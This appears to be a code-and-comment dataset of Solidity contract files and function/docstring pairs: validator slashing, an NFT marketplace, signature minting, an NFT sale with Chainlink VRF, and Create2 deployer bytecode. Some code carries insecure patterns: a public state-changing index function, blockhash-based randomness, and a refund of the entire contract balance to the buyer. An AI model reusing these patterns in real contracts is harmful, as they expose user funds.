slashingMultiplierResetPeriod = value; } /** * @notice Sets the downtimeGracePeriod property if called by owner. * @param value New downtime grace period for calculating epoch scores. */ function setDowntimeGracePeriod(uint256 value) public nonReentrant onlyOwner { downtimeGracePeriod = value; } /** * @notice Resets a group's slashing multiplier if it has been >= the reset period since * the last time the group was slashed. */ function resetSlashingMultiplier() external nonReentrant { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidatorGroup(account), "Not a validator group"); ValidatorGroup storage group = groups[account]; require( now >= group.slashInfo.lastSlashed.add(slashingMultiplierResetPeriod), "`resetSlashingMultiplier` called before resetPeriod expired" ); group.slashInfo.multiplier = FixidityLib.fixed1(); } /** * @notice Halves the group's slashing multiplier. * @param account The group being slashed. */ function halveSlashingMultiplier(address account) external nonReentrant onlySlasher { require(isValidatorGroup(account), "Not a validator group"); ValidatorGroup storage group = groups[account]; group.slashInfo.multiplier = FixidityLib.wrap(group.slashInfo.multiplier.unwrap().div(2)); group.slashInfo.lastSlashed = now; } /** * @notice Getter for a group's slashing multiplier. * @param account The group to fetch slashing multiplier for. */ function getValidatorGroupSlashingMultiplier(address account) external view returns (uint256) { require(isValidatorGroup(account), "Not a validator group"); ValidatorGroup storage group = groups[account]; return group.slashInfo.multiplier.unwrap(); } /** * @notice Returns the group that `account` was a member of during `epochNumber`. * @param account The account whose group membership should be returned. * @param epochNumber The epoch number we are querying this account's membership at. * @param index The index into the validator's history struct for their history at `epochNumber`. * @return The group that `account` was a member of during `epochNumber`. */ function groupMembershipInEpoch(address account, uint256 epochNumber, uint256 index) external view returns (address) { require(isValidator(account), "Not a validator"); require(epochNumber <= getEpochNumber(), "Epoch cannot be larger than current"); MembershipHistory storage history = validators[account].membershipHistory; require(index < history.tail.add(history.numEntries), "index out of bounds"); require(index >= history.tail && history.numEntries > 0, "index out of bounds"); bool isExactMatch = history.entries[index].epochNumber == epochNumber; bool isLastEntry = index.sub(history.tail) == history.numEntries.sub(1); bool isWithinRange = history.entries[index].epochNumber < epochNumber && (history.entries[index.add(1)].epochNumber > epochNumber || isLastEntry); require( isExactMatch || isWithinRange, "provided index does not match provided epochNumber at index in history." ); return history.entries[index].group; } }
Updates the validator score parameters. exponent The exponent used in calculating the score. adjustmentSpeed The speed at which the score is adjusted. return True upon success./
function setValidatorScoreParameters(uint256 exponent, uint256 adjustmentSpeed) public onlyOwner returns (bool) { require( adjustmentSpeed <= FixidityLib.fixed1().unwrap(), "Adjustment speed cannot be larger than 1" ); require( exponent != validatorScoreParameters.exponent || !FixidityLib.wrap(adjustmentSpeed).equals(validatorScoreParameters.adjustmentSpeed), "Adjustment speed and exponent not changed" ); validatorScoreParameters = ValidatorScoreParameters( exponent, FixidityLib.wrap(adjustmentSpeed) ); emit ValidatorScoreParametersSet(exponent, adjustmentSpeed); return true; }
905,870
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; import "./interfaces/IERC20.sol"; import "./libraries/SafeERC20.sol"; import "hardhat/console.sol"; /** * @title A NFT Marketplace Contract * @author Rafael Romero */ contract NFTMarketplaceV1 is Initializable, ContextUpgradeable, OwnableUpgradeable { using SafeMath for uint256; using SafeERC20 for IERC20; /** * @dev Returns the fee value that is taken from each transaction. */ uint256 public fee; /** * @dev Returns the address who is holding the fees. */ address payable public feeRecipient; /** * @dev Returns true if ERC20 Token is allowed for payment. */ mapping(address => bool) internal _whitelistedERC20; /** * @dev Returns the address of the Chainlink Pair Token/USD. */ mapping(address => address) internal _chainlinkUSDToken; enum OfferStatus {ONGOING, ACCEPTED, CANCELLED} struct Offer { address seller; address token; uint256 tokenId; uint256 amount; uint256 deadline; uint256 priceUSD; OfferStatus status; } /** * @dev Mapping from address to tokenId which map to an offer * @return The offer of a seller given a tokenId. */ mapping(address => mapping(uint256 => Offer)) public offers; /** * @dev Emitted when `seller` creates a new offer of a ERC-1155 `token` * and its `tokenId`. */ event OfferCreated( address indexed seller, address indexed token, uint256 indexed tokenId, uint256 amount, uint256 deadline, uint256 priceUSD ); /** * @dev Emitted when `buyer` accepts the offer of `seller`. */ event OfferAccepted( address indexed buyer, address indexed seller, uint256 indexed tokenId, uint256 amount, uint256 priceUSD ); /** * @dev Emitted when `seller` cancels his offer. */ event OfferCancelled( address indexed seller, address indexed token, uint256 indexed tokenId ); /** * @dev Initializes the values for {feeRecipient} and {fee}. * @param _feeRecipient Address who is going to hold the fees * @param _fee Value of the fees * * It is used to make the contract upgradeable. * * Requirements: * * - `_feeRecipient` cannot be the zero address. * - `_fee` must be greater than zero. */ function initialize(address payable _feeRecipient, uint256 _fee) external initializer { require(_feeRecipient != address(0)); require(_fee > 0); __Context_init(); __Ownable_init(); feeRecipient = _feeRecipient; fee = _fee; } /** * @notice Creates an offer of an ERC-1155 Token. * @dev See {_createOffer} for more details. * @param _token Address of the ERC-1155 Token * @param _token ID of the token * @param _amount Amount of the token * @param _deadline Time limit that the offer is going to be active * @param _priceUSD Price of the offer, in USD */ function createOffer( address _token, uint256 _tokenId, uint256 _amount, uint256 _deadline, uint256 _priceUSD ) external { _createOffer(_token, _tokenId, _amount, _deadline, _priceUSD); } /** * @dev Creates an offer of an ERC-1155 Token. * @param _token Address of the ERC-1155 Token * @param _token ID of the token * @param _amount Amount of the token * @param _deadline Time limit that the offer is going to be active * @param _priceUSD Price of the offer, in USD * * Emits a {OfferCreated} event. * * Requirements: * * - `_token` cannot be the zero address. * - `_tokenId` must be greater than zero. * - `_amount` must be greater than zero. * - `_deadline` must be greater than the current `block.timestamp`. * - `_priceUSD` must be greater than zero. */ function _createOffer( address _token, uint256 _tokenId, uint256 _amount, uint256 _deadline, uint256 _priceUSD ) internal { require(_token != address(0), "NTFMarketplace: ZERO_ADDRESS"); require(_tokenId > 0, "NTFMarketplace: ID_ERROR"); require(_amount > 0, "NFTMarketplace: ZERO_AMOUNT"); require(_deadline > block.timestamp, "NFTMarketplace: DEADLINE_ERROR"); require(_priceUSD > 0, "NFTMarketplace: ZERO_PRICE_USD"); offers[_msgSender()][_tokenId] = Offer( _msgSender(), _token, _tokenId, _amount, _deadline, _priceUSD, OfferStatus.ONGOING ); emit OfferCreated( _msgSender(), _token, _tokenId, _amount, _deadline, _priceUSD ); } /** * @notice Accepts an offer of an ERC-1155 Token using ERC-20 Tokens * @dev See {_acceptOfferWithTokens} for more details. * @param _seller Address of the seller * @param _tokenId ID of the token * @param _tokenPayment Address of the ERC-20 Token */ function acceptOfferWithTokens( address _seller, uint256 _tokenId, address _tokenPayment ) external { _acceptOfferWithTokens(_seller, _tokenId, _tokenPayment); } /** * @dev Accepts an offer of an ERC-1155 Token using ERC-20 Tokens. * @param _seller Address of the seller * @param _tokenId ID of the token * @param _tokenPayment Address of the ERC-20 Token * * Emits a {OfferAccepted} event. * * Requirements: * * - `_seller` cannot be the zero address. * - `_tokenId` must be greater than zero. * - `_tokenPayment` cannot be the zero address and must be a * valid ERC-20 Token address. */ function _acceptOfferWithTokens( address _seller, uint256 _tokenId, address _tokenPayment ) internal { require(_seller != address(0), "NTFMarketplace: ZERO_ADDRESS"); require(_tokenId > 0, "NTFMarketplace: ID_ERROR"); require( _whitelistedERC20[_tokenPayment], "NFTMarketplace: TOKEN_NOT_ALLOWED" ); Offer storage offer = offers[_seller][_tokenId]; if (offer.deadline < block.timestamp) { offer.status = OfferStatus.CANCELLED; } require( offer.status == OfferStatus.ONGOING, "NFTMarketplace: This offer is already cancelled or accepted" ); (uint256 finalAmount, uint256 fees) = _calculateFinalAmountAndFeesByToken(offer.priceUSD, _tokenPayment); require( IERC20(_tokenPayment).allowance(_msgSender(), address(this)) >= finalAmount, "NTFMarketplace: INSUFFICIENT_ALLOWANCE" ); offer.status = OfferStatus.ACCEPTED; // transfer tokens to the seller IERC20(_tokenPayment).safeTransferFrom( _msgSender(), _seller, finalAmount.sub(fees) ); require( IERC1155(offer.token).isApprovedForAll(_seller, address(this)), "NTFMarketplace: NOT_APPROVAL" ); // transfer tokens to buyer IERC1155(offer.token).safeTransferFrom( _seller, _msgSender(), offer.tokenId, offer.amount, "" ); IERC20(_tokenPayment).safeTransferFrom( _msgSender(), feeRecipient, fees ); emit OfferAccepted( _msgSender(), _seller, _tokenId, offer.amount, offer.priceUSD ); } /** * @notice Accepts an offer of an ERC-1155 Token using ETH. * @dev See {_acceptOfferWithETH} for more details. * @param _seller Address of the seller * @param _tokenId ID of the token */ function acceptOfferWithETH(address _seller, uint256 _tokenId) external payable { _acceptOfferWithETH(_seller, _tokenId); } /** * @dev Accepts an offer of an ERC-1155 Token using ETH. * @param _seller Address of the seller * @param _tokenId ID of the token * * Emits a {OfferAccepted} event. * * Requirements: * * - `_seller` cannot be the zero address. * - `_tokenId` must be greater than zero. */ function _acceptOfferWithETH(address _seller, uint256 _tokenId) internal { require(_seller != address(0), "NTFMarketplace: ZERO_ADDRESS"); require(_tokenId > 0, "NTFMarketplace: ID_ERROR"); uint256 amount = msg.value; require(amount > 0, "NFTMarketplace: ZERO_AMOUNT"); Offer storage offer = offers[_seller][_tokenId]; if (offer.deadline < block.timestamp) { offer.status = OfferStatus.CANCELLED; } require( offer.status == OfferStatus.ONGOING, "NFTMarketplace: This offer is already cancelled or accepted" ); (uint256 finalAmount, uint256 fees) = _calculateFinalAmountAndFeesWithETH(offer.priceUSD); require(amount >= finalAmount, "NFTMarketplace: INSUFFICIENT_AMOUNT"); offer.status = OfferStatus.ACCEPTED; // transfer eth to seller payable(_seller).transfer(finalAmount.sub(fees)); require( IERC1155(offer.token).isApprovedForAll(_seller, address(this)), "NTFMarketplace: NOT_APPROVAL" ); // transfer tokens to buyer IERC1155(offer.token).safeTransferFrom( _seller, _msgSender(), offer.tokenId, offer.amount, "" ); //send fees to the recipient payable(feeRecipient).transfer(fees); // refund to sender payable(_msgSender()).transfer(address(this).balance); emit OfferAccepted( _msgSender(), _seller, _tokenId, offer.amount, offer.priceUSD ); } /** * @notice Cancels an offer of an ERC-1155 Token. * @dev See {_cancelOffer} for more details. * @param _tokenId ID of the token */ function cancelOffer(uint256 _tokenId) external { _cancelOffer(_tokenId); } /** * @dev Cancels an offer of an ERC-1155 Token. * @param _tokenId ID of the token * * Emits a {OfferCancelled} event. * * Requirements: * * - `_tokenId` must be greater than zero. */ function _cancelOffer(uint256 _tokenId) internal { require(_tokenId > 0, "NFTMarketplace: ID_ERROR"); Offer storage offer = offers[_msgSender()][_tokenId]; require( offer.status != OfferStatus.CANCELLED, "NFTMarketplace: This offer is already cancelled" ); offer.status = OfferStatus.CANCELLED; emit OfferCancelled(offer.seller, offer.token, offer.tokenId); } /** * @dev Sets the fees of each transaction. * @param _fee Value of the fees * * Requirements: * * - `_fee` must be greater than zero. * - Only the owner can change the value of {fee}. */ function setFee(uint256 _fee) external onlyOwner { fee = _fee; } /** * @dev Sets the address who is hold the fees. * @param _feeRecipient Address who is going to hold the fees * * Requirements: * * - `_feeRecipient` cannot be the zero address. * - Only the owner can change the address of the {feeRecipient}. */ function setFeeRecipient(address payable _feeRecipient) external onlyOwner { feeRecipient = _feeRecipient; } /** * @dev Sets the Chainlink address for the USD pair of the token for payment. * @param _tokenPayment Address of the ERC-20 Token * @param _chainlinkAddress Address of the Chailink Pair Token/USD * * Requirements: * * - `_tokenPayment` cannot be the zero address. * - `_chainlinkAddress` cannot be the zero address. * - Only the owner can change the address of a `_tokenPayment`. */ function setChainlinkUSDToken( address _tokenPayment, address _chainlinkAddress ) external onlyOwner { _chainlinkUSDToken[_tokenPayment] = _chainlinkAddress; } /** * @dev Sets a whitelist of ERC-20 tokens for payment. * @param _tokenPayment Address of the ERC-20 Token * @param isAccepted True if the ERC-20 Token is allowed to pay * * Requirements: * * - `_tokenPayment` cannot be the zero address. * - Only owner can change whether a token is accepted or not. */ function setWhitelistedTokenPayment(address _tokenPayment, bool isAccepted) external onlyOwner { require(_tokenPayment != address(0), "NFTMarketplace: ZERO_ADDRESS"); _whitelistedERC20[_tokenPayment] = isAccepted; } /** * @dev Returns the price of a token in USD. * @param _tokenPayment Address of the ERC-20 Token * * Requirements: * * - `_tokenPayment` cannot be the zero address and address must be * in the whitelist of ERC-20 Tokens. */ function _getPriceByToken(address _tokenPayment) internal view returns (uint256) { require( _whitelistedERC20[_tokenPayment], "NFTMarketplace: TOKEN_NOT_ALLOWED" ); require( _chainlinkUSDToken[_tokenPayment] != address(0), "NFTMarketplace: TOKEN_ZERO_ADDRESS" ); AggregatorV3Interface priceToken = AggregatorV3Interface(_chainlinkUSDToken[_tokenPayment]); (, int256 price, , , ) = priceToken.latestRoundData(); return uint256(price); } /** * @dev Calculate the final amount and fees in tokens. * @param _priceUSD Price value in USD * @param _tokenPayment Address of the ERC-20 Token for payment * * Requirements: * * - `_priceUSD` must be greater than zero. * - `_tokenPayment` cannot be the zero address and address must be * in the whitelist of ERC-20 Tokens. */ function _calculateFinalAmountAndFeesByToken( uint256 _priceUSD, address _tokenPayment ) internal returns (uint256 finalAmount, uint256 fees) { require(_priceUSD > 0, "NFTMarketplace: PRICE_ERROR"); require( _whitelistedERC20[_tokenPayment], "NFTMarketplace: TOKEN_NOT_ALLOWED" ); uint256 tokenPrice; uint256 tokenDecimals = IERC20(_tokenPayment).decimals(); if (tokenDecimals > 8) { // the price in USD has 8 decimals, // so we calculate the decimals with 10 ** (tokenDecimals - 8) // to get to 18 decimals tokenPrice = _getPriceByToken(_tokenPayment).mul( 10**(tokenDecimals.sub(8)) ); } else { // the price in USD has 8 decimals, // so we need to get the same decimals that tokenDecimals // we calculate that with 8 - tokenDecimals uint256 usdDecimals = 8; uint256 priceDivider = 10**(usdDecimals.sub(tokenDecimals)); // and divide the token price by that amount tokenPrice = _getPriceByToken(_tokenPayment).div(priceDivider); } // multiply tokenDecimals by 2 to maintain precision in the next divide uint256 priceUSD = _priceUSD.mul(10**(tokenDecimals * 2)); finalAmount = priceUSD.div(tokenPrice); fees = finalAmount.div(fee); } /** * @dev Calculate the final amount and fees in ETH. * @param _priceUSD Price value in USD * * Requirements: * * - `_priceUSD` must be greater than zero. */ function _calculateFinalAmountAndFeesWithETH(uint256 _priceUSD) internal returns (uint256 finalAmount, uint256 fees) { require(_priceUSD > 0, "NFTMarketplace: PRICE_ERROR"); // the price in USD has 8 decimals, so multiply by 10 ** 10 to get to 18 decimals uint256 tokenPrice = _getPriceByToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).mul( 10**10 ); // add 18 twice to maintain precision in the next divide uint256 priceUSD = _priceUSD.mul(10**(18 + 18)); finalAmount = priceUSD.div(tokenPrice); fees = finalAmount.div(fee); } }
Calculate the final amount and fees in ETH. _priceUSD Price value in USD Requirements: - `_priceUSD` must be greater than zero./ the price in USD has 8 decimals, so multiply by 10 10 to get to 18 decimals add 18 twice to maintain precision in the next divide
function _calculateFinalAmountAndFeesWithETH(uint256 _priceUSD) internal returns (uint256 finalAmount, uint256 fees) { require(_priceUSD > 0, "NFTMarketplace: PRICE_ERROR"); uint256 tokenPrice = _getPriceByToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).mul( 10**10 ); uint256 priceUSD = _priceUSD.mul(10**(18 + 18)); finalAmount = priceUSD.div(tokenPrice); fees = finalAmount.div(fee); }
1,767,150
./partial_match/1/0x10A0847c2D170008dDCa7C3a688124f493630032/sources/RelayerManager.sol
IModuleRegistry Interface for the registry of authorised modules./
interface IModuleRegistry { function registerModule(address _module, bytes32 _name) external; function deregisterModule(address _module) external; function registerUpgrader(address _upgrader, bytes32 _name) external; function deregisterUpgrader(address _upgrader) external; function recoverToken(address _token) external; function moduleInfo(address _module) external view returns (bytes32); function upgraderInfo(address _upgrader) external view returns (bytes32); function isRegisteredModule(address _module) external view returns (bool); function isRegisteredModule(address[] calldata _modules) external view returns (bool); function isRegisteredUpgrader(address _upgrader) external view returns (bool); } }
3,539,678
./full_match/1/0x558055ae71ee1BC926905469301a232066eD4673/sources/contracts/ProtocolGovernance.sol
@inheritdoc IProtocolGovernance
function forceAllowMask() external view returns (uint256) { return _params.forceAllowMask; }
4,904,553
./full_match/11155111/0x9EEbD2D4cf36988B185a755b6f5Bb8340F0c3C00/sources/contracts/ERC721SignOnly.sol
Mints tokens according to the provided mint request. _req The payload / mint request. _signature The signature produced by an account signing the mint request./ Verify and process payload. Set royalties, if applicable.
function mintWithSignature( MintRequest calldata _req, bytes calldata _signature ) external payable virtual override returns (address signer) { require(_req.quantity == 1, "quantiy must be 1"); uint256 tokenIdToMint = nextTokenIdToMint(); signer = _processRequest(_req, _signature); address receiver = _req.to; if (_req.royaltyRecipient != address(0) && _req.royaltyBps != 0) { _setupRoyaltyInfoForToken( tokenIdToMint, _req.royaltyRecipient, _req.royaltyBps ); } _safeMint(receiver, _req.quantity); emit TokensMintedWithSignature(signer, receiver, tokenIdToMint, _req); }
3,803,944
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "./UniformRandomNumber.sol"; import "hardhat/console.sol"; contract ExpansionPunks is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard, VRFConsumerBase { using SafeMath for uint256; // ----- Token config ----- // Total number of ExpansionPunks that can be minted uint16 public constant maxSupply = 100; // Number of ExpansionPunks reserved for promotion & giveaways uint8 public totalReserved = 11; // IPFS hash of the 100x100 grid of the ExpansionPunks string public EP_PROVENANCE_SHA256 = "-"; string public EP_PROVENANCE_IPFS = "-"; // Root of the IPFS metadata store string public baseURI = ""; // Current number of tokens uint16 public numTokens = 0; // remaining ExpansionPunks in the reserve uint8 private _reserved; // ----- Sale config ----- // Price for a single token uint256 private _price = 0.06 ether; // Can you mint tokens already bool private _saleStarted; // Additional random offset uint256 public startingIndex; // ----- Owner config ----- address jp = 0xE6cC8D91483DfC341622Ea6fA6eaEf2DecD7bBEA; address fu = 0x6EC25460f85F23181f5694c7c61C74027fCDdB03; address dao = 0xAAAA2870050f30510e14FBf38922927C334B4cC0; // Mapping which token we already handed out uint16[maxSupply] private indices; bytes32 internal keyHash; uint256 internal fee; // SWAP IUniswapV2Router02 public uniswapRouter; address LinkToken = 0x01BE23585060835E02B77ef475b0Cc51aA1e0709; // Constructor. We set the symbol and name and start with sa constructor() // address vrf_coord, // address link_token, VRFConsumerBase( 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 ) ERC721("PIZZACAKE", "PIZZA") { // jp = jpIn; // fu = fuIn; // dao = daoIn; _saleStarted = false; _reserved = totalReserved; keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; fee = 0.1 * 10**18; // 0.1 LINK (Varies by network) uniswapRouter = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //require(uniswapRouter.approve(address(uniswapRouter), 1000000000000), 'approve failed.'); } receive() external payable {} // restrict to onyl allow when we have a running sale modifier saleIsOpen() { require(_saleStarted == true, "Sale not started yet"); _; } // restrict to onyl allow when we have a running sale modifier onlyAdmin() { require( _msgSender() == owner() || _msgSender() == jp || _msgSender() == fu, "Ownable: caller is not the owner" ); _; } // ----- ERC721 functions ----- function _baseURI() internal view override(ERC721) returns (string memory) { return baseURI; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } // ----- Getter functions ----- function getPrice() public view returns (uint256) { return _price; } // function getReservedLeft() public view returns (uint256) { // return _reserved; // } function getSaleStarted() public view returns (bool) { return _saleStarted; } function getBalance() public view returns (uint256) { return address(this).balance; } // ----- Setter functions ----- // These functions allow us to change values after contract deployment function setBaseURI(string memory _URI) external onlyOwner { baseURI = _URI; } // ----- Minting functions ----- struct MintRequest { address receiver; uint8 count; } mapping(bytes32 => MintRequest) public randomRequests; /** * Callback function used by VRF Coordinator */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { uint16 totalSize = maxSupply - numTokens; uint16 _randomNumber = UniformRandomNumber.uniform( uint16(randomness), totalSize ); MintRequest memory request = randomRequests[requestId]; for (uint8 i; i < request.count; i++) { uint16 tokenID = randomToIndex(_randomNumber + i); numTokens = numTokens + 1; _safeMint(request.receiver, tokenID); } } function randomToIndex(uint16 index) public returns (uint16) { uint16 value = 0; uint16 totalSize = maxSupply - numTokens; if (indices[index] != 0) { value = indices[index]; } else { value = index; } // Move last value to selected position if (indices[totalSize - 1] == 0) { // Array position not initialized, so use position indices[index] = totalSize - 1; } else { // Array position holds a value so use that indices[index] = indices[totalSize - 1]; } // We start our tokens at 10000 return value + (10000); } function mint(uint8 _number, uint256 _deadline) external payable nonReentrant saleIsOpen { uint16 supply = uint16(totalSupply()); require( supply + _number <= maxSupply - _reserved, "Not enough ExpansionPunks left." ); require( _number < 21, "You cannot mint more than 20 ExpansionPunks at once!" ); require(_number * _price == msg.value, "Inconsistent amount sent!"); // How many fully batches are we generating uint8 rounds = _number / 3; // are there any remainders after our batches uint8 remainder = _number - (rounds * 3); uint256 amountOut = fee * rounds; if (remainder > 0) { amountOut = amountOut + fee; } address[] memory path = new address[](2); path[0] = uniswapRouter.WETH(); path[1] = LinkToken; uniswapRouter.swapETHForExactTokens{value: msg.value}( amountOut, path, address(this), _deadline ); for (uint8 i = 0; i < rounds; i++) { bytes32 requestId = getRandomNumber(); MintRequest storage request = randomRequests[requestId]; request.receiver = msg.sender; request.count = 3; } if (remainder > 0) { bytes32 requestId = getRandomNumber(); MintRequest storage request = randomRequests[requestId]; request.receiver = msg.sender; request.count = remainder; } } function getRandomNumber() public returns (bytes32 requestId) { require( LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet" ); return requestRandomness(keyHash, fee); } // ----- Sale functions ----- function setStartingIndex() public onlyAdmin { require(startingIndex == 0, "Starting index is already set"); // BlockHash only works for the most 256 recent blocks. uint256 _block_shift = uint256( keccak256(abi.encodePacked(block.difficulty, block.timestamp)) ); _block_shift = 1 + (_block_shift % 255); // This shouldn't happen, but just in case the blockchain gets a reboot? if (block.number < _block_shift) { _block_shift = 1; } uint256 _block_ref = block.number - _block_shift; startingIndex = uint256(blockhash(_block_ref)) % maxSupply; // Prevent default sequence if (startingIndex == 0) { startingIndex = startingIndex + 1; } } function flipSaleStarted() external onlyAdmin { _saleStarted = !_saleStarted; if (_saleStarted && startingIndex == 0) { setStartingIndex(); } } // ----- Helper functions ----- // Helper to list all the ExpansionPunks of a wallet function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function claimReserved(uint8 _number, address _receiver) external onlyAdmin { require(_number <= _reserved, "That would exceed the max reserved."); bytes32 requestId = getRandomNumber(); MintRequest storage request = randomRequests[requestId]; request.receiver = _receiver; request.count = _number; _reserved = _reserved - _number; } // This will take the eth on the contract and split it based on the logif below and send it our // Split logic: // We funnel 1/3 for each dev and 1/3 into the ExpansionPunkDAO function withdraw() public onlyAdmin { uint256 _balance = address(this).balance; uint256 _split = _balance.mul(33).div(100); require(payable(jp).send(_split)); require(payable(fu).send(_split)); require(payable(dao).send(_balance.sub(_split * 2))); } }
This will take the eth on the contract and split it based on the logif below and send it our Split logic: We funnel 1/3 for each dev and 1/3 into the ExpansionPunkDAO
function withdraw() public onlyAdmin { uint256 _balance = address(this).balance; uint256 _split = _balance.mul(33).div(100); require(payable(jp).send(_split)); require(payable(fu).send(_split)); require(payable(dao).send(_balance.sub(_split * 2))); }
13,021,249
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* solhint-disable */ // DO NOT TOUCH // -------------------- // bytecode // solidity compiler 0.6.1, no optimization // 0x608060405234801561001057600080fd5b50610520806100206000396000f3fe6080604052600436106100345760003560e01c8063481286e61461003957806378065306146100be578063cdcb760a14610163575b600080fd5b34801561004557600080fd5b5061007c6004803603604081101561005c57600080fd5b810190808035906020019092919080359060200190929190505050610268565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100ca57600080fd5b50610121600480360360608110156100e157600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061027d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102266004803603604081101561017957600080fd5b8101908080359060200190929190803590602001906401000000008111156101a057600080fd5b8201836020820111156101b257600080fd5b803590602001918460018302840111640100000000831117156101d457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610346565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600061027583833061027d565b905092915050565b60008060ff60f81b83868660405160200180857effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526001018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018381526020018281526020019450505050506040516020818303038152906040528051906020012090508060001c9150509392505050565b60008060003490506000845114156103c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f437265617465323a2062797465636f6465206c656e677468206973207a65726f81525060200191505060405180910390fd5b8484516020860183f59150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610474576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f437265617465323a204661696c6564206f6e206465706c6f790000000000000081525060200191505060405180910390fd5b7fc16bb3dbd36917c7aa3e76b988c2cd35e74bb230a02fef61e7376d8b4bfaea778286604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a181925050509291505056fea26469706673582212208e45d684157bfc10076a3d284f8c3899cd5ecf31abade0a086223e0886a8a68164736f6c63430006010033 // // fixed deployment, compiled with 0.6.12 // 0xC2f81D5a8c51c1E877B2720E0bEB59642c807315 // deployer address: 0x0a481e47Fcf329d0CafDd74A46f54f21eeDF5d68 // cost 0.0801 // RAW Tx: // 0xf9059380852e90edd0008306f2cc8080b90540608060405234801561001057600080fd5b50610520806100206000396000f3fe6080604052600436106100345760003560e01c8063481286e61461003957806378065306146100be578063cdcb760a14610163575b600080fd5b34801561004557600080fd5b5061007c6004803603604081101561005c57600080fd5b810190808035906020019092919080359060200190929190505050610268565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100ca57600080fd5b50610121600480360360608110156100e157600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061027d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102266004803603604081101561017957600080fd5b8101908080359060200190929190803590602001906401000000008111156101a057600080fd5b8201836020820111156101b257600080fd5b803590602001918460018302840111640100000000831117156101d457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610346565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600061027583833061027d565b905092915050565b60008060ff60f81b83868660405160200180857effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526001018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018381526020018281526020019450505050506040516020818303038152906040528051906020012090508060001c9150509392505050565b60008060003490506000845114156103c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f437265617465323a2062797465636f6465206c656e677468206973207a65726f81525060200191505060405180910390fd5b8484516020860183f59150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610474576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f437265617465323a204661696c6564206f6e206465706c6f790000000000000081525060200191505060405180910390fd5b7fc16bb3dbd36917c7aa3e76b988c2cd35e74bb230a02fef61e7376d8b4bfaea778286604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a181925050509291505056fea26469706673582212208e45d684157bfc10076a3d284f8c3899cd5ecf31abade0a086223e0886a8a68164736f6c634300060100331ba01234123412341234123412341234123412341234123412341234123412341234a01234123412341234123412341234123412341234123412341234123412341234 /* solhint-enable */ /** * @title contract to deploy 